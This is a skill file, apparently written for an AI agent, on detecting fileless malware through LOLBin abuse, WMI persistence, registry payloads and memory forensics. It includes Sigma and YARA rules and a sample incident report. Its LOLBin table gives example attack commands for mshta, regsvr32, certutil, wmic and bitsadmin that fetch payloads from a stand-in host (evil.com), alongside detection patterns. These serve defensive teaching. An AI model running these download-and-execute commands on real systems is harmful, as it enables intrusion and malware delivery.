detecting-fileless-malware-techniques

Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing traditional executable files to disk. Activates for requests involving fileless threat detection, in-memory malware investigation, LOLBin abuse analysis, or WMI persistence examination.

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Repository: autohandai/community-skills
Last source activity: March 16, 2026 at 00:59
Detected SKILL.md language: English
Stars: 10
Forks: 3

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name	detecting-fileless-malware-techniques
description	Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing traditional executable files to disk. Activates for requests involving fileless threat detection, in-memory malware investigation, LOLBin abuse analysis, or WMI persistence examination.
domain	cybersecurity
subdomain	malware-analysis
tags	["malware","fileless","LOLBins","memory-analysis","detection"]
version	1.0.0
author	mahipal
license	Apache-2.0

Detecting Fileless Malware Techniques

When to Use

EDR alerts indicate suspicious behavior from trusted system binaries (PowerShell, mshta, wmic, regsvr32)
Investigating attacks that leave no traditional malware files on disk
Analyzing WMI event subscriptions, registry-stored payloads, or scheduled task abuse for persistence
Building detection rules for LOLBin (Living Off the Land Binary) abuse in enterprise environments
Memory forensics reveals malicious code but no corresponding files exist on the filesystem

Do not use for traditional file-based malware; standard static and dynamic analysis methods are more appropriate for disk-resident malware.

Prerequisites

Sysmon installed and configured with comprehensive logging (process creation, WMI events, registry changes)
PowerShell Script Block Logging and Module Logging enabled
Volatility 3 for memory forensics of fileless malware artifacts
Process Monitor (ProcMon) for real-time system activity monitoring
Windows Event Log access with adequate retention policies
Autoruns for identifying persistence mechanisms

Workflow

Step 1: Identify LOLBin Usage

Detect abuse of legitimate Windows binaries for malicious purposes:

Commonly Abused LOLBins and Detection Patterns:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
mshta.exe:
  Abuse: Execute HTA files with embedded VBScript/JScript
  Example: mshta http://evil.com/payload.hta
  Example: mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc ...""")
  Detect: mshta.exe with URL argument or vbscript: prefix

regsvr32.exe:
  Abuse: Load scriptlets via COM (.sct files) - "Squiblydoo"
  Example: regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll
  Detect: regsvr32.exe with /i: URL parameter

certutil.exe:
  Abuse: Download files, decode Base64
  Example: certutil -urlcache -split -f http://evil.com/payload.exe
  Example: certutil -decode encoded.txt payload.exe
  Detect: certutil.exe with -urlcache or -decode arguments

rundll32.exe:
  Abuse: Execute DLL functions, JavaScript
  Example: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";...
  Detect: rundll32.exe with javascript: argument

wmic.exe:
  Abuse: Execute code via XSL stylesheets
  Example: wmic process get brief /format:"http://evil.com/payload.xsl"
  Detect: wmic.exe with /format: URL parameter

bitsadmin.exe:
  Abuse: Download files via BITS
  Example: bitsadmin /transfer job http://evil.com/payload.exe C:\Temp\p.exe
  Detect: bitsadmin.exe with /transfer or /addfile to external URL

cmstp.exe:
  Abuse: Execute commands via INF file
  Example: cmstp.exe /ni /s payload.inf
  Detect: cmstp.exe execution from non-standard locations

Step 2: Detect WMI-Based Persistence

# List WMI event subscriptions (filters, consumers, bindings)
wmic /namespace:"\\root\subscription" path __EventFilter get Name,Query /format:list
wmic /namespace:"\\root\subscription" path CommandLineEventConsumer get Name,CommandLineTemplate /format:list
wmic /namespace:"\\root\subscription" path ActiveScriptEventConsumer get Name,ScriptText /format:list
wmic /namespace:"\\root\subscription" path __FilterToConsumerBinding get Filter,Consumer /format:list

# PowerShell enumeration of WMI subscriptions
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\Subscription -Class ActiveScriptEventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

# Parse Sysmon WMI events (Event IDs 19, 20, 21)
import subprocess
import xml.etree.ElementTree as ET

# WMI Event Filter creation (EID 19)
result = subprocess.run(
    ["wevtutil", "qe", "Microsoft-Windows-Sysmon/Operational",
     "/q:*[System[EventID=19 or EventID=20 or EventID=21]]", "/f:xml", "/c:50"],
    capture_output=True, text=True
)

ns = {"e": "http://schemas.microsoft.com/win/2004/08/events/event"}
for event_xml in result.stdout.split("</Event>"):
    if not event_xml.strip():
        continue
    try:
        root = ET.fromstring(event_xml + "</Event>")
        eid = root.find(".//e:System/e:EventID", ns).text
        data = {}
        for d in root.findall(".//e:EventData/e:Data", ns):
            data[d.get("Name")] = d.text

        if eid == "19":
            print(f"[!] WMI Filter Created: {data.get('Name')}")
            print(f"    Query: {data.get('Query')}")
        elif eid == "20":
            print(f"[!] WMI Consumer Created: {data.get('Name')}")
            print(f"    Type: {data.get('Type')}")
            print(f"    Destination: {data.get('Destination')}")
        elif eid == "21":
            print(f"[!] WMI Binding Created")
            print(f"    Consumer: {data.get('Consumer')}")
            print(f"    Filter: {data.get('Filter')}")
    except:
        pass

# Common registry locations for fileless payloads
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKCU\Environment" /s

# Check for PowerShell encoded commands in registry values
# Malware stores Base64-encoded payloads in custom registry keys
reg query "HKCU\Software" /s /f "powershell" 2>nul
reg query "HKCU\Software" /s /f "-enc" 2>nul

# Check for large registry values (possible stored payloads)
python3 << 'PYEOF'
import winreg
import base64

suspicious_keys = [
    (winreg.HKEY_CURRENT_USER, r"Software"),
    (winreg.HKEY_LOCAL_MACHINE, r"Software"),
]

def scan_registry(hive, path, depth=0):
    if depth > 3:
        return
    try:
        key = winreg.OpenKey(hive, path)
        i = 0
        while True:
            try:
                name, value, vtype = winreg.EnumValue(key, i)
                if isinstance(value, str) and len(value) > 500:
                    # Check for Base64-encoded content
                    try:
                        decoded = base64.b64decode(value[:100])
                        print(f"[!] Large Base64 value: {path}\\{name} ({len(value)} bytes)")
                    except:
                        pass
                    # Check for PowerShell keywords
                    if any(kw in value.lower() for kw in ["powershell", "invoke", "iex", "-enc"]):
                        print(f"[!] PowerShell in registry: {path}\\{name}")
                i += 1
            except WindowsError:
                break
        # Recurse into subkeys
        j = 0
        while True:
            try:
                subkey = winreg.EnumKey(key, j)
                scan_registry(hive, f"{path}\\{subkey}", depth + 1)
                j += 1
            except WindowsError:
                break
    except:
        pass

for hive, path in suspicious_keys:
    scan_registry(hive, path)
PYEOF

# Process with injected code (no backing file)
vol3 -f memory.dmp windows.malfind

# Check for .NET assemblies loaded from memory (not from disk files)
vol3 -f memory.dmp windows.vadinfo --pid 4012 | grep -i "PAGE_EXECUTE"

# PowerShell CLR usage (indicates .NET reflection loading)
vol3 -f memory.dmp windows.cmdline | grep -i "powershell"

# Scan for known fileless frameworks
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "
rule Fileless_PowerShell {
    strings:
        \$s1 = \"System.Reflection.Assembly\" ascii wide
        \$s2 = \"[System.Convert]::FromBase64String\" ascii wide
        \$s3 = \"Invoke-Expression\" ascii wide
        \$s4 = \"DownloadString\" ascii wide
    condition:
        2 of them
}
"

# Extract PowerShell command history from memory
vol3 -f memory.dmp windows.cmdline
strings memory.dmp | grep -i "invoke-\|iex \|downloadstring\|-encodedcommand"

# Sigma rule: LOLBin execution with network activity
title: Suspicious LOLBin Execution with Network Arguments
logsource:
    category: process_creation
    product: windows
detection:
    selection_mshta:
        Image|endswith: '\mshta.exe'
        CommandLine|contains:
            - 'http'
            - 'vbscript:'
            - 'javascript:'
    selection_certutil:
        Image|endswith: '\certutil.exe'
        CommandLine|contains:
            - '-urlcache'
            - '-decode'
    selection_regsvr32:
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains: '/i:http'
    selection_wmic:
        Image|endswith: '\wmic.exe'
        CommandLine|contains: '/format:http'
    condition: selection_mshta or selection_certutil or selection_regsvr32 or selection_wmic
level: high

# Sigma rule: WMI persistence creation
title: WMI Event Subscription for Persistence
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID:
            - 19  # WMI EventFilter
            - 20  # WMI EventConsumer
            - 21  # WMI FilterConsumerBinding
    condition: selection
level: medium

Typical Fileless Attack Chain:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Phase 1 - Initial Access:
  Email -> Macro -> mshta.exe/PowerShell (LOLBin abuse)
  OR Web exploit -> regsvr32/certutil (scriptlet download)

Phase 2 - Execution:
  PowerShell downloads and executes script in memory
  .NET Assembly.Load() for reflective loading
  WMI process creation for lateral movement

Phase 3 - Persistence:
  WMI event subscription (survives reboots)
  Registry-stored encoded payload (loaded by Run key)
  Scheduled task executing inline PowerShell

Phase 4 - Privilege Escalation:
  PowerShell with Invoke-Mimikatz (in-memory credential theft)
  Named pipe impersonation via WMI

Phase 5 - Lateral Movement:
  WMI remote process creation (no file transfer needed)
  PowerShell remoting (WinRM)
  PsExec via WMI

Phase 6 - Exfiltration:
  PowerShell HTTP POST to C2
  DNS tunneling via Invoke-DNSExfiltration
  Cloud storage API (OneDrive, Google Drive)

Term	Definition
Fileless Malware	Malware operating entirely in memory or within legitimate system tools without creating traditional executable files on disk
LOLBins (Living Off the Land Binaries)	Legitimate system binaries (mshta, regsvr32, certutil) abused by attackers to execute malicious code while evading application whitelisting
WMI Event Subscription	Windows Management Instrumentation persistence mechanism using event filters, consumers, and bindings to execute code on system events
Registry-Resident Payload	Malicious code stored as encoded data in Windows Registry values, loaded and executed by a small stub in a Run key
Reflective Loading	Loading .NET assemblies or PE files from byte arrays in memory using Assembly.Load() without writing to disk
In-Memory Execution	Running code directly in RAM without creating files, leveraging process injection, reflective loading, or script interpreters
Script Block Logging	Windows PowerShell logging feature (Event ID 4104) that captures script content after deobfuscation, essential for fileless threat visibility

FILELESS MALWARE ANALYSIS REPORT
===================================
Incident:         INC-2025-2847
Attack Type:      Fileless (no malware files on disk)

INITIAL ACCESS
Vector:           Phishing email with macro-enabled document
LOLBin Chain:     WINWORD.EXE -> mshta.exe -> powershell.exe

PERSISTENCE MECHANISM
Type:             WMI Event Subscription
Filter Name:      WindowsUpdateCheck
Filter Query:     SELECT * FROM __InstanceModificationEvent WITHIN 300
                  WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
Consumer:         CommandLineEventConsumer
Command:          powershell.exe -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...

DECODED PAYLOAD
[Layer 1] Base64 UTF-16LE decode
[Layer 2] AMSI bypass + Assembly.Load() of embedded .NET payload
[Layer 3] .NET RAT with C2 communication to 185.220.101[.]42

REGISTRY PAYLOADS
HKCU\Software\AppDataLow\Config\data = [Base64 encoded .NET assembly, 247KB]
Loaded by: PowerShell WMI consumer script

MEMORY ARTIFACTS
PID 4012 (powershell.exe): Injected .NET assembly at 0x00400000
  - CobaltStrike beacon detected via YARA
  - C2: hxxps://185.220.101[.]42/updates

EXTRACTED IOCs
C2 IP:            185.220.101[.]42
WMI Filter:       WindowsUpdateCheck
Registry Path:    HKCU\Software\AppDataLow\Config\data
PowerShell Flags: -nop -w hidden -enc

MITRE ATT&CK
T1059.001  PowerShell
T1546.003  WMI Event Subscription
T1218.005  Mshta
T1112      Modify Registry
T1055.012  Process Hollowing